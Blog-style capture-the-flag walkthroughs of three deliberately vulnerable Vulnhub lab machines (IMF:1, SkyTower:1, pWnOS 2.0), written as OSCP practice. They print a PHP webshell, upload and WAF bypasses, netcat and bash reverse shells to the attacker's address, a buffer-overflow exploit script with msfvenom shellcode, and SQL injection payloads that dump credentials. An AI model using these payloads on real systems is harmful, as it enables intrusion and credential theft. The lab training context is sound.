OSCP like Vulnhub machines: IMF: 1

IMF:1 is the final machine from abatchy’s OSCP like Vulnhub machines list. I can’t say I have completed all the machines from the list, since I have skipped two machines. /dev/random:scream and Brainpan. I skipped scream because I felt that scream is just way too easy machine (since it is intended for absolute beginners) and I skipped Brainpan because it is a pure Buffer Overflow exploitation challenge.

I might publish a writeup on Windows Buffer Overflows in the future, but that might not be a Brainpan writeup. Also I have no plans on publishing a writeup for scream ever. That’s why I used the term final machine from abatchy’s list.

Now, let’s discuss about IMF. IMF is a beginner-intermediate machine as per the views of the author Geckom. But, as per Vulnhub difficulty is subjective and I found this machine to be on the intermediate-hard level. But, that “hardness” doesn’t mean that this machine uses complex techniques. In fact quite the opposite. This machine uses usual exploitation methods like exploiting a Web service, Bypassing File uploading vulnerability, Bypassing WAF etc. But, this machine uses several of those basic exploitation techniques and thus the attacker needs to follow a long chain of exploits to get to the final destination and that made this machine hard for me.

Also, this machine is a Mission Impossible themed and a pure C.T.F styled machine and the aim of this challenge is to find the different flags spread through out the machine. So, any agent should he choose to accept this mission must keep this in mind before proceeding.

This machine also demonstrated some cool techniques that I have only read about. Overall this was an incredible learning experience and by far the hardest machine I have tackled from abatchy’s OSCP like vulnhub machines list.

Another thing I want to say before going into the writeup is that I was stuck on different points on exploiting this machine and I had to resort on reading the writeup to complete the challenge. But, in the end, I have learned about some cool new techniques and tips to lookout for in a C.T.F challenge.

Writeup

Let’s start the enumeration process with nmap

nmap -v -F 192.168.1.2-10

The IP address of SkyTower found out to be 192.168.1.6.

Let’s initiate the targeted enumeration using Nmap.

nmap -sCV -v -oN tcp 192.168.1.4

And the output is as follows.

# Nmap 7.91 scan initiated Wed Apr 14 13:30:03 2021 as: /usr/bin/nmap -sCV -v -oN tcp 192.168.1.6
Nmap scan report for 192.168.1.6
Host is up (0.00020s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: AA:22:CC:44:DD:66 (VMware)

Well that was a short one!

The server only had a Webserver.

So, I started the gobuster directory bruteforcing and started to look into the website.

And I was greeted with this

There was a projects.php page and a contacts.php page. The contacts directory had the email address of three users.

Looking at the source code of the contact us page, I have found the first flag.

The base64 encoded flag was a string “allthefiles”

I thought the flag was a hint to a directory and tried accessing /allthefiles. But there wasn’t such directory present in the target.

Further inspection on the contact us page has showed some javascript files included in the webpage.

However, some javascript file names were base64 encoded. So, I tried decoding the name of the first javascript file’s name and got a partial flag output. So, I concatenated the three separate filenames into a single base64 encoded string and got the full flag.

The flag itself was base64 encoded and when I decoded that, I got the following string.

The flag got decoded as “imfadministrator”

So, I tried accessing the directory /imfadministrator and got the following login page!

So, I started a gobuster on /imfadministrator and started poking around the page.

I tried the usual credentials admin:admin, admin:password etc. But they didn’t work. That’s when I noticed that this page has helpful error message on entering invalid username.

I could bruteforce this, but before going into that route I wanted to try the manual way.

So, I tried the usernames found on the email addresses on /contactus.php page.

And rmichaels was the only authenticated user, that we know of.

I have tried the usual SQL injection shenanigans and they didn’t seemed to work. So, I moved on to Inspect the source code of the website.

Inspecting the source code revealed an interesting comment from user Rojer.

This is a hint on the vulnerability on this page. Let’s take a step back and look at the facts we have in hand.

  1. We know that the server is running PHP
  2. The user rojer hinted on hardcoding the password
  3. Since the password is hardcoded, there will be some kind of comparison

There is a PHP vulnerability called ‘Type Juggling’ that matches all these criteria. Technically that is not a vulnerability in PHP itself, but a design flaw in the PHP page. Before going into exploitation, let’s discuss what PHP type juggling is.

PHP Type Juggling

PHP is a loosely typed language. That means developers don’t need to declare the variable types when defining the variables. This means that PHP will automatically assign the variable type during the execution of the program. This is really helpful in situations where the input type is dynamic. But, the issue with this concept is that, if improperly implemented, can lead to security issues.

Since PHP is a loosely typed language, PHP will convert the variables into a comparable type first, when there arises a need to compare two variables. This behavior of PHP is called as Type Juggling.

Suppose the target has setup the following PHP code to authenticate using a hardcoded hash.

The strcmp function will return the following output on different situations. Source.

So, When both variables are equal, strcmp will return 0.

From the client side, we can control two things. The POST variable name and the data passed through the POST variable. If we change the POST data from pass="password" to pass[]= , that initiates the Type juggling and PHP will convert the POST variable we passed into an empty array, because of the square brackets.

This breaks the strcmp function and strcmp will return 0, bypassing the authentication altogether!

Let’s test this theory.

Exploiting PHP Type Juggling Vulnerability in strcmp()

First of all, let’s verify the imfadministrtor directory has indeed PHP running by going into /imfadministrator/index.php.

It indeed is running PHP

Now, let’s change the POST variable name.

Using developer tools (Inspect Element), change the password field’s name from pass to pass[] in /imfadministrator/index.php.

password field name modified to pass[]

Now, that we have modified the name of the password field, enter the username as rmichales from what we found earlier and press Login.

And we’re in!

The flag contents were “continueTOcms”

Continuing to CMS showed the following page.

There were no page of interest except Upload Report.

Navigating to imfadministrator/cms.php?pagename=upload page showed the following page.

I then started testing the GET variable pagename in the URL with the quote (‘) symbol and got the following error.

So, the GET variable is fetching data from an SQL database. I then used SQLMap to dump the database.

SQLMap output showed that the webpage contents were static and it was saved inside a table and there were no other interesting tables I could find.

However, there was a page called tutorials-incomplete in the table.

SQLMap Output

I used the following link to visit the page.

http://192.168.1.6/imfadministrator/cms.php?pagename=tutorials-incomplete

And I got the following page with a QR code at the bottom of the page.

I cropped the QR code and used this site to decode the QR code.

It was the fourth flag and it decoded as uploadr942.php.

I navigated to that site and found an file uploading page.

This probably might be about bypassing file upload filters. Let’s first try uploading a simple PHP webshell with the following code.

<?php system($_GET['cmd']); ?>

I saved it as shell.php and When I tried to upload it, I got the following error.

So, I decided to change the filename from shell.php to shell.gif, changed the Content-type header from application/x-php to image/gif , added the GIF magic bytes GIF89a; to the beginning of the payload and tried to upload it.

And I got a new error.

Cool name BTW

There was some sort of Web Application Firewall set in place to filter PHP pages containing system function.

So, I swapped system with other functions like eval, passthru, the backticks (`) etc, but none of them seemed to work.

I then tried a simple phpinfo() function and it was succesfully uploaded!

There is a new hash-looking string in the form, that probably might be the renamed file name we just uploaded.

Meanwhile gobuster has just found an /uploads sub-directory in the /imfadministrator directory. That must be the location where the uploaded files get moved. Let’s navigate to the following URL to verify that our file has uploaded.

http://192.168.1.6/imfadministrator/uploads/e9c5bfe52e38.gif

And I have got the phpinfo page! So, that means PHP code execution is working!

But, there was something interesting in the phpinfo page. The disable_functions didn’t had the functions like system, eval, passthru etc, which the WAF flagged.

That means, If we can somehow bypass the CrappyWAF, then we can gain a remote shell on the target.

Then I researched some WAF bypass and found this excellent webpage. It talks about different ways of bypassing WAFs and I got a cool technique to encode the system function in hexadecimal format to avoid detection.

Source: secjuice.com

I used the Cyberchef tools website to convert the function name to hex and passed the following request to the upload form.

And the upload was successful!

http://192.168.1.6/imfadministrator/uploads/2026821e676a.gif?cmd=id

And we’ve got command execution!

Finally GIFs | Tenor
FINALLY!

Now, let’s upgrade our webshell to a full TTY shell. I generated the netcat without -e payload using weibell reverse shell generator and passed it as the argument to cmd variable.

http://192.168.1.6/imfadministrator/uploads/2026821e676a.gif\?cmd\=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f\|/bin/sh+-i+2\>%261\|nc+192.168.1.9+9001+\>/tmp/f
*hooded guy in the dark frantically typing* I’M IN!

The fifth flag was in the /var/www/html/imfadministrator/uploads directory and it decoded as “agentservices” .

There might be running service in this machine named agent, as hinted by the fifth flag. So, I ran linpeas, but the running services didn’t had a service named agent.

But, for some reason the service was listed in /etc/services file.

cat /etc/services|grep -i agent

So, now we now what’s running on port 7788.

But, this port wasn’t reported in our Nmap scan. So, I used netcat to connect to the port and it showed the following output.

I couldn’t pinpoint the binary running on port 7788 since I wasn’t the root user. So, I decided to use pspy to view the running processes.

And I noticed that whenever I connect to port 7788, a binary named agent gets executed.

I ran the command agent and it showed me the exact output as above.

Now, onto exploiting the binary.

Since I don’t know the agent ID, I couldn’t access the contents of the binary.

So I located the agent binary using the following command and copied it to my kali machine.

which agent

Now, chances are that the agent ID might be hardcoded in the binary. If that’s the case, then tools like strace, ltrace, ptrace might help us. So, I ran the binary with ltrace.

And sure enough, I got the Agent ID as 48093572. ltrace FTW!

I entered the code and got an interactive menu.

At this point, it is evident that this is going to be a binary exploitation challenge. So, I overflowed the submit report part with plethora of A’s and got the following error.

It definitely is a binary exploitation challenge

I am going to swift through the binary exploitation part as I have already posted a detailed writeup on basics of Linux Buffer Overflow. So, If you have any doubts regarding anything, please refer to the writeup.

Now, before we load this binary into gdb, I wanted to create a quick and dirty script to automatically enter the inputs like agent id and the submit report selection; as we are going to do that ‘n’ number of times. So, if we create a script, then the exploitation process will be a breeze.

We cannot use bash scripting to create a script that inputs data via stdin. For that purpose, we have to use a special scripting language called as expect.

The script I used is as shown below.

#!/bin/expect -f 

spawn gdb ./agent
sleep 1
send "r\n"
expect "Agent ID : "
send "48093572\r\n"
send "3\r"
interact

This script will load the agent binary into gdb, then enter the agent id as 48093572, then enter the number 3 to select the submit report option and waits for the user input.

I tried automating the input part also, but due to the fact that this machine took hours to solve, I decided to go with this quick and dirty script.

The only issue with this script is that we have to paste the shellcode each time; which is way better than nothing 😅.

I have used the following one liner to generate 300 A’s and copy the output to the clipboard.

 python -c 'print("A"*300)'|xclip -sel c

Note: You can install xclip with sudo apt install xclip -y

And then I ran the expect script. The script worked flawlessly and it prompted for the input. I pasted the 300 A’s and the EIP was definitely overwritten by my A’s.

Ok. Now, let’s check the security of the binary using gdb’s checksec command.

Great!

Then I generated a unique pattern to identify the EIP position using pattern_create tool inside gdb.

pattern_create 300

I copied and pasted the pattern it into the agent binary’s input.

And the offset was found by the following command.

pattern_offset 0x74414156

I also looked at the position of other registers. Turns out EAX register points exactly at the beginning of our shellcode. Perfect!

Now the next step is to find out the Opcode “JMP EAX” or “CALL EAX” inside our binary, notice the memory address and use that address to overwrite EIP. That means our program flow will redirect like the following.

EIP Overwritten -> Jumps to EAX -> EAX has shellcode -> Shellcode executes

Now we can do this in several different ways.

  1. Use gdb’s asmsearch "opcode" function
  2. Use objdump -DS path-to-binary | less -p .text
  3. Use ropshell.com

Let’s explain all these techniques in brief.

Finding Memory Location of Opcode

1. Using gdb

asmsearch "call eax"

2. Using objdump

objdump -DS agent | less -p .text

Now, here things can be a little different. Notice the address? It shows 8048563. But, from the early gdb output. we can see that the addresses are in 8 bit range, but objdump is showing only 7 bit address. This occurs because objdump avoids the preceeding 0 before the address.

So, the correct address translation here is 08048563 not 8048563.

3. Using ropeshell.com

Upload the binary to ropshell.com and search for the opcode directly inside the website. Source.

Exploitation Continues

Now that we have discussed about the different ways to search for Opcode address in a binary, let’s test if this address redirects the execution flow instead of crashing.

I used the following python code to generate the payload. If you don’t understand some functions in the code is, don’t worry. It is explained in detail below.

#!/usr/bin/python

import sys
import shellcode

# generate shellcode.py before execeuting this file using the following command.
# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.9 LPORT=9001 -f python -b "\x00" > shellcode.py

a=b'\x41'*(168-len(shellcode.buf))

eip=b'\x63\x85\x04\x08'

b=b'\x41'*(200-len(shellcode.buf)-len(a)-len(eip))

sys.stdout.buffer.write(shellcode.buf+a+eip+b)

And I used the following code to copy the generated payload to clipboard.

python generate.py|xclip -sel c

I have pasted the output of this one liner in gdb and the EIP is now pointing at a different, valid address. That means our CALL EAX worked!

Quick Tip: We can pipe the output to a tool called xxd to verify the hex output is correct or not.

Now that we have the memory address to overwrite EIP, the next step is to write a quick python script to generate the payload.

Binary Exploitation with Python3

Now I tried to write an exploit script on python3. But, I was facing several issues in doing so.

I first noticed it when my NOP sled (‘\x90‘) looked like 0x90c290c2 in the stack, instead of 0x90909090. I had no idea where the c2 came from!

I did a little googling and found the culprit as python3. Python3 have different behavior when dealing with raw bytes. Basically  \x90c2 is the hexadecimal encoding of the UTF-8 character U+0090. Source

Liveoverflow has posted a great video about this problem.

Also, I learned that most people still use python2 since they don’t want to deal with the pitfalls of python3 during binary exploitation. So, I decided to take this as a challenge and created a python3 script for exploiting, since python2 is as of now dead.

Dealing with raw bytes in Python3

The main difference between python2 and python3 when it comes to binary exploitation is that, python3 doesn’t store raw bytes into a variable or print raw bytes to stdout using the same old syntax.

If we want to save raw bytes to a variable, or print raw variable to stdout in Python3, we have to use a different syntax than python2. Also, we cannot concatenate raw bytes and strings in Python3. So, we have to convert the bytes to string or vice versa before any sort of concatenation.

Below are some tips that helped me to write my exploit in Python3.

Printing raw bytes to stdout in Python3

buf = b'\x90'

Notice the preceeding b along with the NOP? That b is required to let python know that this is a bytes variable. A lowercase b must preceed a string, if that string is to be treated as raw bytes. If not, Python will treat the data as a UTF-8 string variable, which ultimately messes up our cause.

We also have to be careful when printing raw bytes to stdout, as the print function doesn’t behave the same in python3.

Let me explain this with an example.

Printing raw bytes into stdout will looks like the following.

Notice the preceeding b and the single quote enclosing? This means that we cannot print the raw characters using the print function in python3.

So, how do we print the raw bytes into stdout?

Luckily, python3 have a function for that. The function is sys.stdout.buffer.write() .It is in the sys python package.

python -c 'import sys;a=b"\x41";sys.stdout.buffer.write(a)'

And just like that, we’ve got a nice raw bytes output without the b or the single quote enclosing.

Printing raw bytes as string in Python3

Now, sometimes we would also require to print the UTF-8 encoded version of a raw bytes. If that’s the case, we can use the following code to print the raw bytes received from a network socket as string.

out=socket.recv(1024)      # Receiving raw bytes from socket

print(out.decode("utf-8"))  # Converting bytes to utf-8 string
                            # and printing it to stdout

The above code will receive raw bytes from a network socket and decodes the bytes as UTF-8 formatted string and prints the output to stdout.

Converting bytes to string might not be always necessary, but when we want to print the raw bytes received from the network socket, this might come in handy.

Bonus Tip: Converting string variable to raw bytes in Python3

There might be situations where you have defined a variable as a string and you don’t want to edit all the variables back to buffer.

Well to those lazy people, there is a function in python3 called bytes().

Bytes function converts the a string to raw bytes, given the encoding type.

buf = ''
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41' # Raw bytes as string

socket.send(bytes(buf,"utf-8"))   # Converting string to bytes
                                  # and sending it to socket

This tip might not be super important, but this does comes in handy when debugging issues with our code and when python raises Type Errors like a bytes-like object is required.

One Last Exploitation

Now that we’ve discussed about binary exploit development in python3, let’s jump back into our exploitation bandwagon.

Once I wrote a working exploit code, I got a new problem to deal with. 😒

At first my idea was to create an exploitation script to serve a shellcode to spawn a root shell locally. Since the target had python3 installed, things would be easier, I thought. However, it didn’t work.

Infact no exploitation attempts I have done inside the machine worked. I have swapped the shellcode with a metasploit reverse shell payload, swapped the shellcode to spawn a dash shell etc. But, they all failed.

I decideed to look at some walkthoughs and found out the intended way of solving this puzzle was Port Knocking!

A brief note on Port Knocking

In the running services found by linpeas script, there was an interesting binary named knockd.

Knocksd is the tool used to enable port knocking. Port knocking is a technique used to restrict access to a port by enabling access to a port (opening a port) only for the users who sends or ‘knocks’ certain ports in a sequential manner.

For example, a server can be configured to block access to its SSH server (port 22) to every users, unless the user sends SYN packets to a predefined port sequence (1234, 4567, 8901).

If a user sends SYN packet to those ports in that particular order, then port 22 will be opened to them.

This technique is probably named after the old technique of knocking the door in a pattern to let the people inside know that the person knocking is a friend; not a foe.

So, I tried to access the /etc/knocks.conf file to get the knock sequence. However, the file wasn’t readable by www user.

I reffered the walkthroughs, and found out there is a file in /usr/local/bin which hinted the port knock sequence. I opened the file and there is the knock sequence.

I must admit, I would’ve never found this file in a reasonable time. In retrospect, I should’ve approached the machine with a CTF mindset and should’ve tried the Ippsec way; i.e., to find files between a specific timeframe to find out the interesting files.

Note to self, If nothing seems to work, look at the timestamps.

Learning GIFs | Tenor

So, I installed knock using the following command.

sudo apt install knockd -y

And issued the port knocking sequence using the following command.

knock 192.168.1.6 7482:tcp 8279:tcp 9467:tcp

And I netcat into port 7788 and it was open!

Note: I had tried port knocking multiple times and it didn't open the port right away. I had to reset the machine before this began to work. If you couldn't open the port 7788 even after the port knock, restart the machine and try again for it work.

Now, I swapped the shellcode with a meterpreter reverse shell code and changed the IP address of the target, started a netcat listener and executed the script *proudly with python3*. The exploit code I have written is posted on my github.

And I got a shell back!

Whew!

That was one helluva ride!

Relief GIFs - Get the best GIF on GIPHY

Man I really hate this machine, but at the same time I really love this machine. The chain of attack is unlike anything I have done before, this machine pushed me to my limits and in the end I learned a lot!

Kudos and thanks for the creator Geckom for this machine.

OSCP like Vulnhub machines: SkyTower:1

Download VM

SkyTower:1 is a beginner-intermediate boot2root machine from the abatchy’s OSCP like vulnhub machines list. This machine was pretty straightforward and has a CTF style pathway. The goal of the machine is to read the flag.txt file from /root directory.

This machine’s initial foothold path was relatively easy, but with some twists. The twists were pretty cool and I really liked them. However, the privesc path was a little disappointing to me since it was a CTF style privesc vector and wasn’t that fun for me.

But, considering the fact that this machine was intended for beginners and this was released seven years ago, I’d say this is a solid machine for starters.

Let’s start the enumeration process with nmap. I am shifting from netdiscover to nmap because Nmap is way faster and precise than netdiscover.

When using netdiscover, it takes a painfully long time to enumerate the IP address of the target because of the difference in their operating methodologies. Since we are in a private lab environment, it just doesn’t make any sense to not use Nmap.

nmap -v -F 192.168.1.2-10

Here I am using a quick nmap scan of IP addresses starting from 192.168.1.2 to 192.168.1.10. I have specified such a target range since my private network has under 10 devices connected to it and 192.168.1.1 is the IP address of my home router.

the -F flag is used to specify nmap to perform a fast scan; as right now we are relying on speed rather than accuracy or depth.

The IP address of SkyTower found out to be 192.168.1.4.

Let’s initiate the targeted enumeration using Nmap.

nmap -sCV -v -oN tcp 192.168.1.4

And the output is as follows.

nmap -sCV -v -oN tcp 192.168.1.4
Nmap scan report for 192.168.1.4
Host is up (0.00061s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: AA:22:CC:44:DD:66 (Oracle VirtualBox virtual NIC)

Looks pretty simple. Only three services where running. As from the SSH port state, we can see that the port is filtered and there is no banner that we can use to OSINT the OS version.

However, the Apache server was leaking the banner and the distro name. Combining those in a quick google search found the target distro as Debian 7 Wheezy or Debian 7 based distros.

There was also port 3128 open which as the banner specifies is an HTTP proxy server called Squid. Squid is a popular free HTTP proxy server licensed under GNU GPL.

Let’s start by enumerating the webserver.

Navigating to the server showed the following web page.

There was a login page for a company called as SkyTech. So, I checked the default credentials like admin:admin , admin:password etc. But, they didn’t work.

So, I decided to move on to testing SQL injections. I started with admin' as the username in the login page and got the following error.

Yay! The machine has SQL injection and the error reporting is’nt turned off .

Let’s try to bypass the login using the venerable 'OR 1=1--

But, when I tried that, the error changed to the following.

The OR and — were missing from the error message. That means there is some sort of filtering occurring in place.

I tried to bypass the filtering using double parameters (For eg: OROR instead of OR), but that didn’t work.

As the next step, I tried another always true SQL statement 1' NOT IN ('2')#.

Don’t get confused by the statement. I’ll explain this.

The original statement is like Select * from table where user='$user ' and pass='$pass';

Now, when we enter 1' NOT IN ('2')# as the username, the statement becomes the follwing.

select * from table where user='1' NOT IN ('2')#

The NOT IN comparator is used to check if an element is present in an array of elements. Here, we are testing the number 1 with an array with element 2 in it.

That means the statement is always true just like ' OR 1=1-- .

The # is used to specify comments in MySQL, just like -- .

And we’re in!

Neat! We got the credentials for the user john. Let’s try to use this credentials to login via SSH.

But, port 22 wasn’t responding to our machine. That means as the nmap scan recommended, port 22 of the target is restricted. So, I decided to move on to the next target.

Moving on…

I decided to check port 3128 where the Squid proxy is running. If there is authentication, then we have to crack the credentials first before we could access squid. But, if there is no authentication set in place, then that might be our path to the target!

Navigating to http://192.168.1.4:3128 showed the following page.

So, the proxy server is running and it doesn’t look there is any authentication setup in Squid. Let’s test if the proxy accepts connection unauthenticated.

I added a new proxy in FoxyProxy extension, switched to it and tried to browse 127.0.0.1.

I am issuing the loop back address here, since we are browsing via the proxy server and the web site is running on the same server. Issuing 192.168.1.4 will probably work too, but browsing to 127.0.0.1 is the sure shot way of knowing if the proxy is working or not.

And it worked!

That means we can use the proxy unauthenticated.

Now, the next step is to try to access the filtered SSH port via this proxy. To do that, we need proxychains. Proxychains is a tool that forces any TCP connection made by any given application to follow through proxy.

To use proxychains, we have to edit the /etc/proxychains.conf file and add the proxy protocol, Proxy’s IP address and the proxy port to it. So, I edited the /etc/proxychains.conf file and added the following line at the end of the file and saved it.

http 192.168.1.4 3128

Now, let’s try SSH-ing into the target using proxychains.

proxychains ssh john@127.0.0.1

And it worked! Sort of.

We were able to login as john. However, we were instantly logged out after a successful login. This is happening because the .bashrc file is modified to do so. The .bashrc entry that logs out automatically is the following.

But, this entry doesn’t mean we cannot execute our commands in the target.

SSH client has a functionality where we can execute commands upon the login. We can specify the commands to execute on the target server using the single quotes symbol (‘).

Let’s try just that.

proxychains ssh john@127.0.0.1 'cat /etc/passwd'
Ta Da!

And that worked! Which means that we can create a simple Bash reverse shell payload to get a shell back.

proxychains ssh john@127.0.0.1 'sh -i >& /dev/tcp/192.168.1.6/443 0>&1'
And we got a shell back!

Now upon initial enumeration, I found the creds of MySQL server as root:root.

However, I couldn’t login via our reverse shell because it wasn’t a full TTY shell. And there was no python installed to upgrade it to a full shell.

Now, at this point we have three ways to access the MySQL server.

  1. Upgrade our shells to TTY without using python [Spoiler alert: Socat]
  2. Use Squid proxy to access the MySQL server (If MySQL is accessible to Local devices)
  3. Use SSH Local Port Forwarding to access the MySQL server

By applying Occam’s Razor principle, let’s try the simple solution first. Access the MySQL server via Squid proxy.

proxychains mysql -u root -h localhost -D Skytech -p

This was a failure. The error said we can’t connect to MySQL through the socket. Which means that MySQL server is listening to only localhost.

That means we have to forward ports via SSH. Let’s do just that.

proxychains ssh -L 3306:127.0.0.1:3306 -N john@127.0.0.1

Here, we are using Local port forwarding to forward requests coming at local port 3306 to the remote server’s port 3306.

We also specified the -N flag to not assign a login shell, since our target closes the connection once we gets logged in. If we specify -N flag, then the SSH client does not execute commands at the target after a successful login, including the shell spawning command; thus no shell after login. This command is very useful for just forwarding ports.

Let’s check if the port has opened in our local machine using the following command.

netstat -tulnp|grep 3306
Port 3306 has been opened by SSH

Now, let’s try to login to MySQL.

mysql -u root -h localhost -D Skytech -p

I always try to specify the host and database ; Since I had higher chances of successful login if I specified the host and database.

And we’ve logged in!

Enumerating the database has presented with some juicy credentials.

Poor Sara! 😅

Here william’s password was different, but sara’s password was legit. I was able to login as sara via SSH, but found out that the same auto logout script was present in sara’s account too.

So, I used the techniques we did before to spawn a shell as Sara.

The initial enumeration showed that Sara was present in sudoers file with no passwd access to cat and ls.

The sudo command worked here even if we didn’t had a TTY shell! I am looking into it, but as of right now, I have no idea why this worked! I Will update on this when I discover why this worked.

See the wildcard (*) in sudoers entry? That means we can exploit that to read any files and list the contents of any directories within the system.

So, I used the following command to read the flag.txt file, which contained the root password.

sudo /bin/cat /accounts/../root/flag.txt
And we’re root!
Thrift Shop GIFs - Get the best GIF on GIPHY
Woot Woot!

Overall this was a pretty great machine and I really enjoyed solving it. Thanks to it’s author Telspace for creating such a cool box!

OSCP like Vulnhub machines: pWnOS: 2.0

Download VM

pwnos 2.0 is a beginner level boot2root machine developed by pWnOS.

This was a beginner friendly box and was a pretty cool box. Every step from gaining the initial foothold to escalating privileges was relatively easy; even considering the fact that this machine was released back in 2011.

This might be a pretty old machine, but the lessons it teaches are still relevant. Also, this machine had multiple ways of gaining the initial foothold ; which I loved! Also, privesc was easy to do, but not that easy to find! 😋

The big con with this machine was that this machine didn’t had DHCP server enabled and it worked with a static IP address 10.10.10.100. So, that means if we want to run this box in our local network, we have to change the IP address of our local network to 10.10.10.x range for it to work or we have to create a virtual network adapter and assign it the 10.10.10.x IP address range.

But that all is just too much hassle for running a single vm. Instead, I searched for Pwnos 2.0’s walkthorugh, found one from hackingarticles, found the root password, logged into the machine and changed the /etc/network/interfaces file to enable DHCP. I didn’t read the article before solving the machine, but I read it after solving the machine, since I didn’t encounter a plain text root password in my enumeration and found out that there is multiple vectors of rooting this machine. I will talk about the method used here at the end of this article for comprehensiveness.

The root password was root@ISIntS.

And I changed the /etc/network/interfaces from:

iface eth0 inet static
    address 10.10.10.100
    netmask 255.255.255.0
    network 10.10.10.0
    broadcast 10.10.10.255
    gateway 10.10.10.15

To the following:

iface eth0 inet dhcp

And the machine will work flawlessly with my network.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.5.

We are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.5

And the output is as follows.

Nmap scan report for 192.168.1.5
Host is up (0.000073s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 AA:22:CC:44:DD:66:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 AA:22:CC:44:DD:66:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 AA:22:CC:44:DD:66:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: AA:22:CC:44:DD:66 (VMware)

We have two services running on the target. SSH and a Webserver.

From a quick google search, I have found out the version to be Ubuntu 11.10 Oneric Ocelot and the timeline around 2011-ish.

Navigating to http://192.168.1.5 has showed the following web server.

I created a new account using the register page.

I followed the link, but there were no response from the server.

So, I started gobuster to run it in the background. I then started testing the login field for basic SQL Injection vulnerabilties and I found that email field is vulnerable to SQL injection and we have error reporting turned on!

Juicy!
The output also contained the DBMS type and version number.

I then captured the request using BurpSuite and started manual SQL injection.

Since the target have error reporting turned on, things went pretty smoothly.

I used admin' UNION SELECT 1 -- as the payload to determine the returning columns from the first statement. But, that returned the following error.

So, the next step is increment the columns one by one to determine the total number of columns returned by the first SELECT statement.

I found out the total number of columns returned by the first SELECT statement as 8 and the fourth column in the SELECT statement we injected, gets printed on the web page.

Now that we have found the number of columns returned by the first SELECT statement and the column number that gets printed in the webpage, let’s start enumerating the database.

Since we know that the target DBMS is MySQL, we can use the version() function to test if our injection is working or not.

The parameter we are passing is the following.

admin' OR 1=1 UNION SELECT 1,2,3,version(),5,6,7,8 LIMIT 2,3--

Here, the LIMIT 2,3 function is used to select the output one by one.

LIMIT 1 selects only the first row from the result,

LIMIT 1,2 selects only the second row from the result,

LIMIT 2,3 selects only the third row from the result and so on..

I specified the LIMIT clause since only a single row was getting output through the website. So, I had to manually iterate through the results one by one using LIMIT to get the desired output.

Great! The injection is working. Now, we are going to enumerate and dump the credentials in the database like we did in vulnos. In a real life scenario, I would definitely resort to sqlmap, as it is more efficient. But since I am doing this for learning purpose and I’ve got time, I prefer to do it the hard way.

So, to dump credentials we need the database name, table name and the column name. Let’s start with the database name.

Enumerating current database

The following parameter is passed via the email POST variable to show the current database.

admin' OR 1=1 UNION SELECT 1,2,3,database(),5,6,7,8 LIMIT 2,3-- 
The database is ch16

Checking for other databases

The following parameter is passed via the email POST variable to show the databases.

Now since this will return more than one rows, we have to manually iterate the results using LIMIT clause like we said before.

So, using the LIMIT clause, I have found that there were 3 databases. But there was no other interesting database other than ch16. So, moving on…

Viewing tables from database ch16

The following parameter is passed via the email POST variable to show the tables in ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(table_name),5,6,7,8 from information_schema.tables where table_schema='ch16' LIMIT 2,3--

Just like we did before, we have to iterate through results here. I did that and found out that there is only a single table named users in database ch16.

Viewing column names of users table

The following parameter is passed via the email POST variable to show the column names of table users in database ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(column_name),5,6,7,8 from information_schema.columns where table_name='users' LIMIT 2,3-- 

And there were 8 columns. Amongst them, the interesting ones were email and pass.

Dumping data from table

The following parameter is passed via the email POST variable to dump the contents of columns email and pass from table users in database ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(email),5,6,7,8 from users--

admin' OR 1=1 UNION SELECT 1,2,3,concat(pass),5,6,7,8 from users--

And I dumped the credentials, which were the following.

email: admin@isints.com 
first_name: dan 
password:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af (SHA1 hash)

I searched the password in an online hash cracking site and found out the password as killerbeesareflying.

I checked the password for password reuse in SSH service, but with no luck.

I then used the password to login to the /index.php page and found the following error.

Bummer!

There was a WAF set up in the target, which denied our session.

I then decided to look back at the gobuster directory to find a /blog directory. Navigating to blog, showed the following webpage.

So, I tried to login to the blog with the credentials we dumped earlier, but again, with no luck! 🥺 Sounds like another rabbit hole.

In hindsight, I should’ve enumerated further, as exploiting the service running at /blog was the intended and easiest path for gaining the initial foothold. But, I was too excited about the SQL injection vulnerability and my thoughts were all over the place at that moment! So, I decided to focus back at the SQL injection again.

This time, I decided to try to write a web shell PHP file to the web directory using MySQL.

But to do so, there are certain prerequisites.

  1. The mysql user must have access to mysql.user table
  2. The mysql user must have file privileges
  3. The mysql user must have write permission to the web directory

If these can be done, then we could write a web shell to the web directory and execute it.

